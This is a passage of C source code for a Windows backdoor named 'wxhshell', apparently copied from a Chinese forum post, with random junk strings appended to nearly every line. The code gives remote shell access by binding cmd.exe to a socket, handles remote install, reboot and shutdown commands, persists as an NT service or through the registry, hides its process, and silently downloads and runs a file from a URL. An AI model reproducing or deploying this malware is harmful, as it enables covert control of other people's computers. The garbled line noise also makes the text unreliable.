  else { 9s9_a4t5  
E|`JmfLQu  
    switch(cmd[0]) { \fjr`t]  
  P"k`h=>!4  
  // 帮助 -Rcl(Q}LZ  
  case '?': { +`_Km5=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H-ewO8@  
    break; FcI ZG _  
  } h F4gz*Q  
  // 安装 E2%{?o  
  case 'i': { 27CVAX ghV  
    if(Install()) 898=9`7e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ W +  
    else 4w<4\zT_U}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\fu6Ti  
    break; |tua*zEsS  
    } 2z+-vT%  
  // 卸载 \7elqX`.yY  
  case 'r': { fk!P#  
    if(Uninstall()) h^aUVuL/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2nsW)bd  
    else q?TI(J+/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K2gg"#ft?  
    break; ~P@6f K/M  
    } @+EO3-X5  
  // 显示 wxhshell 所在路径 @9ndr$t  
  case 'p': { uu`G<n  
    char svExeFile[MAX_PATH]; oy< q;'  
    strcpy(svExeFile,"\n\r"); zhW.0:9 CR  
      strcat(svExeFile,ExeFile); fJ8Q\lb<_  
        send(wsh,svExeFile,strlen(svExeFile),0); KsR^:_e  
    break; Z?AX  
    } bzh`s<+  
  // 重启 UP?]5x>  
  case 'b': { Pi&8!e<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GDBxciv  
    if(Boot(REBOOT)) 3g''j7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =, WW#tD  
    else { _`LQnRp(  
    closesocket(wsh); tLc 9-  
    ExitThread(0); rV6SN.  
    } n)6mfoe  
    break; W^sH|2g  
    } '"~ 2xiin  
  // 关机 U|!L{+F  
  case 'd': { WAWy3i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T 7EkRcb  
    if(Boot(SHUTDOWN)) !y 7SCz g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m c q!_#{y  
    else { `Ir{ax&H.e  
    closesocket(wsh); hDAxX= FM  
    ExitThread(0); VzZ'W[/7)B  
    } 5L%\rH&N  
    break; s J~WzQ  
    } JS{trqc1d  
  // 获取shell S{.G=O  
  case 's': {  jcVK4jW  
    CmdShell(wsh); l:?w{'i$  
    closesocket(wsh); :3$$PdZ  
    ExitThread(0); r)Dln5F  
    break; SZ)AO8&  
  } _Vl22'wl  
  // 退出 NKJ+DD:'  
  case 'x': { >56I`[)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c^a D r  
    CloseIt(wsh); L28DBjE)A  
    break; ;(1Xb   
    } WD${f#]N  
  // 离开 )~CnDk}^R  
  case 'q': { wr+r J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ICxj$b  
    closesocket(wsh); F-SD4a  
    WSACleanup(); 0S}ogU[k  
    exit(1); ^w1&A 3=6  
    break; pZUXXX  
        } b?Zt3#  
  } : #om6}   
  } |2'u@<(Z/  
? ^l{t4  
  // 提示信息 :l/?cV;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M}c gVMW  
} a"6AZT"8  
  } nz%{hMNYH  
XoZPz  
  return; d=J$H<  
} oMNgyAp^  
~8#Ku,vEy  
// shell模块句柄 t!S ja  
int CmdShell(SOCKET sock) q5D_bm7,3  
{ zVL"$ )  
STARTUPINFO si; vy&< O  
ZeroMemory(&si,sizeof(si)); J/ ! Mt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8;vpa*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WBIJ9e2~  
PROCESS_INFORMATION ProcessInfo; <.6bni )  
char cmdline[]="cmd"; ;3 |Z}P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FR%u1fi  
  return 0; vsDR@Y}k  
} !rwe|"8m?u  
9 f+S-!  
// 自身启动模式 IC[iCrB  
int StartFromService(void) oI/jGyY;  
{ -kZOve|5  
typedef struct |}YeQl  
{ 4IEF{"c_8  
  DWORD ExitStatus; q)Uh_l.Cj  
  DWORD PebBaseAddress; iR`c/  
  DWORD AffinityMask; kCoTz"Z-  
  DWORD BasePriority; Ln2dD>{2  
  ULONG UniqueProcessId; NjL^FqA[  
  ULONG InheritedFromUniqueProcessId; afJ`1l  
}   PROCESS_BASIC_INFORMATION; nWd]P\a'V  
9~FB^3Nz_  
PROCNTQSIP NtQueryInformationProcess; fQ@k$W\  
equTKM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y66V&#`,e0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -55Pvg0ND  
<+%#xi/_  
  HANDLE             hProcess; ! 4ZszQg  
  PROCESS_BASIC_INFORMATION pbi; >#j f Z5t  
v o9Fj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E }*   
  if(NULL == hInst ) return 0; oK!W<#  
^71!.b%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'W>Zr}:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HRPNZ!B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [nBdq"K  
%#^)hX,+Q  
  if (!NtQueryInformationProcess) return 0; 0i4 X,oHjG  
b<N962 q$q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ki"o0u  
  if(!hProcess) return 0; jZ;dY~fE  
h)vRvfcmY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qBkI9H  
R p!R&U/  
  CloseHandle(hProcess); J#pl7q)^w  
?\eq!bu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o,#[Se*n  
if(hProcess==NULL) return 0; }.uB6&!:  
ns{BU->f  
HMODULE hMod; v@6TC1M,  
char procName[255]; 8\85Wk{b  
unsigned long cbNeeded; 2`-yzm  
N0D)d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n$ri:~s  
Pd,+= ML  
  CloseHandle(hProcess); c]y"5;V8  
Q|^TR__  
if(strstr(procName,"services")) return 1; // 以服务启动 ]T3dZ`-(  
_-vf<QO]  
  return 0; // 注册表启动 xKKR'v:o\  
} 2(, `9  
f-V8/  
// 主模块 ; U)a)l'y  
int StartWxhshell(LPSTR lpCmdLine) i&r56m<  
{ 1D,$Az~.  
  SOCKET wsl; ed,w-;(n~  
BOOL val=TRUE; &*}NN5Sv  
  int port=0; ,@_$acm  
  struct sockaddr_in door; o4)^U t+  
MZ(TST"  
  if(wscfg.ws_autoins) Install(); N}Ol`@@#h  
6~ *w~U  
port=atoi(lpCmdLine); ^8mF0K&  
q<YteuZJ,  
if(port<=0) port=wscfg.ws_port; o8:K6y  
I[~EQ {Iz  
  WSADATA data; YU89m7cc'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; He)<S?X-6  
}),tk?\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AxaabS$\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pez 7HKW:  
  door.sin_family = AF_INET; T K)Kq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iY=M67V  
  door.sin_port = htons(port); lWv3c!E`  
_]"5]c&*3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w1J&c'-  
closesocket(wsl); wff&ci28  
return 1; &&0,;r, -)  
} |(gq:O  
t'uZho~^F  
  if(listen(wsl,2) == INVALID_SOCKET) { 05(lh<C  
closesocket(wsl); \#(cI  
return 1; E^.y$d~dS  
} G`9\v=0  
  Wxhshell(wsl); >IW0YIQy,  
  WSACleanup(); AsRS7V  
SR 9 Cl  
return 0; i$) `U]  
q16RPqfT  
} G>?hojvi  
FhgO5@BO  
// 以NT服务方式启动 x1m J&D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8&6h()  
{ S~\i"A)4  
DWORD   status = 0; 8K! l X  
  DWORD   specificError = 0xfffffff; (k9{&mPJ  
~jab/cR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _y}]j;e8>{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Azx4+`!-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q$EicH}k8  
  serviceStatus.dwWin32ExitCode     = 0; IqK??KSC  
  serviceStatus.dwServiceSpecificExitCode = 0; 5oQy $Y  
  serviceStatus.dwCheckPoint       = 0; Y{X79Rd  
  serviceStatus.dwWaitHint       = 0; ^|@t2Rp@  
h+k:G9;sS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tT}*%A  
  if (hServiceStatusHandle==0) return; AL/q6PWi  
\UI7H1XDH  
status = GetLastError(); ] X,C9  
  if (status!=NO_ERROR) [&n2 yt  
{ =`5Xx(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rn l~i  
    serviceStatus.dwCheckPoint       = 0; g{@q  
    serviceStatus.dwWaitHint       = 0; + #gJ[Cc  
    serviceStatus.dwWin32ExitCode     = status; /I{<]m$  
    serviceStatus.dwServiceSpecificExitCode = specificError; %eCbH`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /TTmMx*  
    return; M,Q(7z?#5  
  } } h|1H  
\*x]xc/^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eK\1cs  
  serviceStatus.dwCheckPoint       = 0; [HB>\   
  serviceStatus.dwWaitHint       = 0; <d,Qi.G4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o5gt`H"  
} _tZT  
WL4{_X  
// 处理NT服务事件,比如:启动、停止 f&glY`s#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `;-K/)/x  
{ 7aVQp3<  
switch(fdwControl) 1hj']#vBu  
{ zhH-lMNj-  
case SERVICE_CONTROL_STOP: 1u&}Lq(  
  serviceStatus.dwWin32ExitCode = 0; w66iLQ\@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @b\/\\{  
  serviceStatus.dwCheckPoint   = 0; MtC\kTW  
  serviceStatus.dwWaitHint     = 0; V6Kw71'9  
  { oLEqy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m72r6Yq2@  
  } K_ P08  
  return; T]\_[e:'  
case SERVICE_CONTROL_PAUSE: K1Ms  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xc;W9e(U  
  break; OosxuAC(  
case SERVICE_CONTROL_CONTINUE: mG2*s ^$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1.YDIB||  
  break; P.WEu<$  
case SERVICE_CONTROL_INTERROGATE: @K; 4'b~  
  break; &*\wr} a!  
}; e&zZr]vs]l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4QODuyl2H  
} !Mp.jE  
y@"6Dt|  
// 标准应用程序主函数 Q?KWiFA}'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FU9q|!2Y  
{ p9k' .H^:_  
I/D (gY06<  
// 获取操作系统版本 H(U`S  
OsIsNt=GetOsVer(); 4(>|f_$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K^j7T[pR  
\EF^Ag  
  // 从命令行安装 4$ LVl  
  if(strpbrk(lpCmdLine,"iI")) Install(); UN'[sHjOnD  
6('2.^8  
  // 下载执行文件 ?zW4|0  
if(wscfg.ws_downexe) { xMNUy B{?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pu dIb|V2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,h,DB=!K<  
} /1ZRjf^  
cl kL)7RQ  
if(!OsIsNt) { Lu,72i0O ^  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tg|0!0qD]F  
HideProc(); zKB$n.H  
StartWxhshell(lpCmdLine); 2TB>d+  
} ssGp:{]v/  
else e ?FjN 9  
  if(StartFromService()) 33dHTV  
  // 以服务方式启动 &@CcH_d*  
  StartServiceCtrlDispatcher(DispatchTable); (27bNKr  
else v7x %V%K  
  // 普通方式启动 ygoA/*s  
  StartWxhshell(lpCmdLine); Os--@5e  
tB4dkWt.}  
return 0; Hd H,   
}
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只看该作者 1 发表于: 2006-10-10
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